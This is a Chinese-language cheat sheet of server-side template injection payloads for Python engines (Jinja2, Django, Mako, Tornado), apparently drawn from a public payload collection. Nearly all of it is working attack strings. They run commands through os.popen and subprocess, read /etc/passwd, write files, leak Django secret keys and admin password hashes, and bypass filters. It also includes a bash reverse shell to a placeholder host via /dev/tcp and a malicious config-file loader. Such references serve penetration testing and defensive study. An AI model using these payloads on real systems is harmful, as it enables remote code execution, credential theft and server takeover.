跳转至

服务端模板注入 (SSTI) - Python

服务端模板注入 (SSTI) 是一种漏洞,当攻击者可以将恶意输入注入服务端模板,从而导致在服务器上执行任意代码时,就会产生此漏洞。在 Python 中,当使用 Jinja2、Mako 或 Django templates 等模板引擎时,如果用户输入未通过适当的过滤就包含在模板中,就可能发生 SSTI。

摘要 (Summary)

模板库 (Templating Libraries)

模板名称 载荷格式
Bottle {{ }}
Chameleon ${ }
Cheetah ${ }
Django {{ }}
Jinja2 {{ }}
Mako ${ }
Pystache {{ }}
Tornado {{ }}

通用载荷 (Universal Payloads)

通用的代码注入载荷适用于许多基于 Python 的模板引擎,如 Bottle、Chameleon、Cheetah、Mako 和 Tornado。

要使用这些载荷,请将其包裹在适当的标签中。

__include__("os").popen("id").read() # 回显型 RCE
getattr("", "x" + __include__("os").popen("id").read()) # 报错型 RCE
1 / (__include__("os").popen("id")._proc.wait() == 0) # 布尔型 RCE
__include__("os").popen("id && sleep 5").read() # 时间型 RCE

Django

Django 模板语言默认支持 2 种渲染引擎:Django Templates (DT) 和 Jinja2。Django Templates 是一个简单得多的引擎。它不允许调用传入的对象函数,因此 SSTI 在 DT 中的影响通常不如在 Jinja2 中严重。

Django - 基础注入

{% csrf_token %} # 在 Jinja2 中会导致错误
{{ 7*7 }}  # 在 Django Templates 中显示错误
ih0vr{{364|add:733}}d121r # Burp 载荷 -> ih0vr1097d121r

Django - 跨站脚本 (XSS)

{{ '<script>alert(3)</script>' }}
{{ '<script>alert(3)</script>' | safe }}

Django - 调试信息泄露

{% debug %}

Django - 泄露应用程序的 Secret Key

{{ messages.storages.0.signer.key }}

Django - 后台管理 URL 泄露

{% include 'admin/base.html' %}

Django - 后台管理员用户名和密码哈希泄露

{% load log %}{% get_admin_log 10 as log %}{% for e in log %}
{{e.user.get_username}} : {{e.user.password}}{% endfor %}

{% get_admin_log 10 as admin_log for_user user %}

Jinja2

官方网站

Jinja2 是由 Python 编写的、功能齐全的模板引擎。它具有完整的 Unicode 支持,可选的集成沙箱执行环境,被广泛使用且采用 BSD 许可。

Jinja2 - 基础注入

{{4*4}}[[5*5]]
{{7*'7'}} 结果为 7777777
{{config.items()}}

Jinja2 被 Django 或 Flask 等 Python Web 框架使用。 上述注入已在 Flask 应用程序中完成测试。

Jinja2 - 模板格式

{% extends "layout.html" %}
{% block body %}
  <ul>
  {% for user in users %}
    <li><a href="{{ user.url }}">{{ user.username }}</a></li>
  {% endfor %}
  </ul>
{% endblock %}

Jinja2 - 调试语句

如果启用了调试扩展 (Debug Extension),则 {% debug %} 标签将可用于 dump 当前上下文以及可用的过滤器和测试。这对于查看模板中可用的内容而无需设置调试器非常有用。

<pre>{% debug %}</pre>

来源: jinja.palletsprojects.com

Jinja2 - dump 出所有已使用的类

{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}

访问 __globals____builtins__:

{{ self.__init__.__globals__.__builtins__ }}

Jinja2 - dump 出所有配置变量

{% for key, value in config.iteritems() %}
    <dt>{{ key|e }}</dt>
    <dd>{{ value|e }}</dd>
{% endfor %}

Jinja2 - 读取远程文件

# ''.__class__.__mro__[2].__subclasses__()[40] = File 类
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/tmp/flag").read() }}
# https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}

Jinja2 - 写入远程文件

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

Jinja2 - 远程命令执行 (RCE)

监听连接:

nc -lnvp 8000

Jinja2 - 在盲注 RCE 中强制输出

您可以导入 Flask 函数以从有漏洞的页面返回输出。

{{
x.__init__.__builtins__.exec("from flask import current_app, after_this_request
@after_this_request
def hook(*args, **kwargs):
    from flask import make_response
    r = make_response('Powned')
    return r
")
}}

通过调用 os.popen().read() 利用 SSTI

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

但是当 __builtins__ 被过滤时,以下载荷是上下文无关的,不需要任何东西,只需要位于 Jinja2 模板对象中:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

我们可以使用来自 @podalirius_ 的这些更短的载荷:python-vulnerabilities-code-execution-in-jinja-templates:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

类似的载荷可用于基于报错和基于布尔的利用:

{{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # 报错型
{{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # 布尔型

使用 objectwalker,我们可以找到从 lipsumos 模块的路径。这是已知在 Jinja2 模板中实现 RCE 的最短载荷:

{{ lipsum.__globals__["os"].popen('id').read() }}

通过调用 subprocess.Popen 利用 SSTI

⚠ 396 这个数字会根据应用程序的不同而变化。

{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

无需猜测偏移量调用 Popen 利用 SSTI

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

对载荷进行简单修改以清理输出并方便来自 @SecGus 的命令输入。在另一个 GET 参数中包含一个名为 "input" 的变量,其中包含您要运行的命令(例如:&input=ls)

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

通过编写恶意的配置文件利用 SSTI

# 恶意配置
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# 加载恶意配置
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}  

# 连接到恶意主机
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Jinja2 - 混淆后的远程命令执行

使用已知现有字符串的索引位置(索引值可能根据目标而异)编写字符串 id{{self.__init__.__globals__.__str__()[1786:1788]}}

执行系统命令 id

{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。

Jinja2 - 过滤器绕过 (Filter Bypass)

request.__class__
request["__class__"]

绕过 _

http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
{{request|attr(["_"*2,"class","_"*2]|join)}}
{{request|attr(["__","class","__"]|join)}}
{{request|attr("__class__")}}
{{request.__class__}}

绕过 []

http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
或者
http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

绕过 |join

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

绕过大多数常见过滤器('.','_','|join','[',']','mro' 和 'base'),来自 @SecGus:

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

Tornado

通用载荷也适用于 Tornado。

Tornado - 基础注入

{{7*7}}
{{7*'7'}}

Tornado - 远程命令执行

{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}

Mako

通用载荷也适用于 Mako。

官方网站

Mako 是由 Python 编写的模板库。从概念上讲,Mako 是一种嵌入式 Python(即 Python Server Page)语言,它改进了常见的组件化布局和继承理念,旨在提供最直接、最灵活的模型,同时保持与 Python 调用和作用域语义的紧密联系。

<%
import os
x=os.popen('id').read()
%>
${x}

Mako - 远程命令执行

以下任一载荷都可以直接访问 os 模块:

${self.module.cache.util.os.system("id")}
${self.module.runtime.util.os.system("id")}
${self.template.module.cache.util.os.system("id")}
${self.module.cache.compat.inspect.os.system("id")}
${self.__init__.__globals__['util'].os.system('id')}
${self.template.module.runtime.util.os.system("id")}
${self.module.filters.compat.inspect.os.system("id")}
${self.module.runtime.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.util.os.system("id")}
${self.template.__init__.__globals__['os'].system('id')}
${self.module.cache.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.util.os.system("id")}
${self.template.module.cache.compat.inspect.os.system("id")}
${self.module.cache.compat.inspect.linecache.os.system("id")}
${self.template._mmarker.module.runtime.util.os.system("id")}
${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
${self.template.module.filters.compat.inspect.os.system("id")}
${self.template.module.runtime.compat.inspect.os.system("id")}
${self.module.filters.compat.inspect.linecache.os.system("id")}
${self.module.runtime.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.exceptions.util.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template.module.cache.util.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.template.module.cache.util.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.util.os.system("id")}
${self.module.cache.util.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.util.compat.inspect.os.system("id")}
${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
${self.template.module.cache.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
${self.template.module.filters.compat.inspect.linecache.os.system("id")}
${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
${self.context._with_template._mmarker.module.cache.util.os.system("id")}
${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.cache.compat.inspect.os.system("id")}
${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
${self.context._with_template.module.filters.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}

PoC :

>>> print(Template("${self.module.cache.util.os}").render())
<module 'os' from '/usr/local/lib/python3.10/os.py'>

Mako - 混淆后的远程命令执行

在 Mako 中,以下载荷可用于生成字符串 "id":${str().join(chr(i)for(i)in[105,100])}

执行系统命令 id

${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
<%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}

载荷的参考和说明可以在 yeswehack/server-side-template-injection-exploitation 找到。

参考资料 (References)